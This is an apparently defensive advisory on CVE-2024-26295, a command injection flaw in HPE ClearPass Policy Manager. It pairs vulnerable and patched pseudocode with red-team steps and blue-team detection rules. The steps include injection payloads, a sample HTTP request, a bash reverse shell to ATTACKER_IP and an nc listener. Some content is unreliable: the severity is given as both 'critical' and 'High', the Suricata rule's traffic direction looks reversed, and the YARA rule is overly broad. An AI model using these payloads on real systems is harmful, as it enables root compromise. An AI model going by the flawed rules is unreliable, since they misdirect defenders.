CVE-2024-26295

Executive Summary

CVE-2024-26295 is a critical vulnerability in Hewlett Packard Enterprise’s ClearPass Policy Manager web-based management interface. It allows remote authenticated users to execute arbitrary commands on the underlying host with root privileges, leading to full system compromise. The vulnerability has a CVSS score of 7.2 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk remains significant for organizations using ClearPass Policy Manager in production environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary HPE appliance and its web management interface.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high privileges required reduce the attack surface, but once authenticated, an attacker can achieve complete system compromise with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the ClearPass Policy Manager’s web-based management interface. The application fails to properly sanitize user-supplied input when processing certain commands or parameters. An authenticated attacker can inject arbitrary operating system commands, which are then executed with root privileges on the underlying host.

The root cause is likely improper input validation or lack of command parameterization in the web interface’s backend scripts. This allows command injection (CWE-78) through crafted HTTP requests. The attacker must have valid credentials to the management interface, but once authenticated, no additional user interaction is required.

Vulnerable vs. Patched Code

Since no official patch or source code is available, a generic example illustrates the vulnerability:

Vulnerable Code (pseudo)

import subprocess
import os

def execute_command(user_input):
    # Direct concatenation of user input into shell command
    cmd = "ping -c 4 " + user_input
    os.system(cmd)

Patched Code (pseudo)

import subprocess
import shlex

def execute_command(user_input):
    # Use subprocess with argument list to avoid shell injection
    cmd = ["ping", "-c", "4", user_input]
    subprocess.run(cmd, check=True)

The vulnerable code directly concatenates user input into a shell command, allowing injection of arbitrary commands via shell metacharacters (e.g., ;, |, &&). The patched version uses a list of arguments to prevent shell interpretation.

Exploitation & Lab Setup

Red Team

Prerequisites: Valid credentials for the ClearPass Policy Manager web interface.

Exploitation Steps:

1. Authenticate to the ClearPass Policy Manager web interface.
2. Identify a vulnerable endpoint that accepts user input (e.g., a diagnostic tool, ping, traceroute, or file path parameter).
3. Inject a command using shell metacharacters. Example payload:

   ; id
   

   or

   | whoami
   

4. Observe the output in the response, confirming command execution.
5. Escalate to a reverse shell:

   ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

Example HTTP Request:

POST /vulnerable_endpoint HTTP/1.1
Host: target-clearpass.example.com
Authorization: Basic <base64_credentials>
Content-Type: application/x-www-form-urlencoded

target=127.0.0.1;id

Lab Setup:

• Use a virtualized ClearPass Policy Manager instance (e.g., from HPE’s evaluation images).
• Set up a listener on the attacker machine: nc -lvnp 4444
• Execute the exploit and capture the reverse shell.

Blue Team

Detection:

• Monitor for unusual command execution in ClearPass logs (e.g., id, whoami, bash).
• Look for HTTP requests containing shell metacharacters (;, |, &, $, `).
• Alert on outbound connections from ClearPass to unknown IPs on high ports (e.g., 4444).

Mitigation:

• Restrict access to the management interface to trusted IPs only.
• Implement strict input validation and output encoding.
• Use a web application firewall (WAF) to block malicious payloads.
• Monitor for privilege escalation attempts.

Indicators of Compromise (IOCs)

• Network: Outbound connections from ClearPass to attacker-controlled IPs on ports 4444, 8080, or 80.
• Logs: ClearPass logs showing execution of commands like id, whoami, bash, nc, python.
• Files: Unexpected files in /tmp/ or /root/ (e.g., reverse shell scripts).
• Processes: Unusual processes running as root (e.g., bash, nc, python).

Detection Engineering

YARA Rule

rule CVE_2024_26295_ClearPass_Command_Injection {
    meta:
        description = "Detects command injection attempts in ClearPass Policy Manager logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26295"
    strings:
        $cmd1 = "id" ascii wide nocase
        $cmd2 = "whoami" ascii wide nocase
        $cmd3 = "bash" ascii wide nocase
        $cmd4 = "nc" ascii wide nocase
        $cmd5 = "python" ascii wide nocase
        $metachar = ";" ascii wide
        $metachar2 = "|" ascii wide
        $metachar3 = "&" ascii wide
    condition:
        any of ($cmd*) and any of ($metachar*)
}

Sigma Rule

title: ClearPass Policy Manager Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in ClearPass Policy Manager logs
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-26295
logsource:
    product: hpe
    service: clearpass
detection:
    selection:
        EventID: 1000
        Message|contains:
            - ';id'
            - '|whoami'
            - '&bash'
            - '`nc'
    condition: selection
falsepositives:
    - Legitimate administrative commands
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26295 ClearPass Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/vulnerable_endpoint"; http_uri; pcre:"/(;|\\||&|`).*(id|whoami|bash|nc|python)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict network access to the ClearPass management interface to trusted IPs only. Use VPN or jump hosts.
• Short-term: Implement a WAF to block command injection payloads. Monitor logs for suspicious activity.
• Long-term: Apply vendor patches as soon as they become available. Consider upgrading to a patched version or migrating to an alternative solution.
• Compensating Controls: Enable multi-factor authentication (MFA) for management access. Use least-privilege accounts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert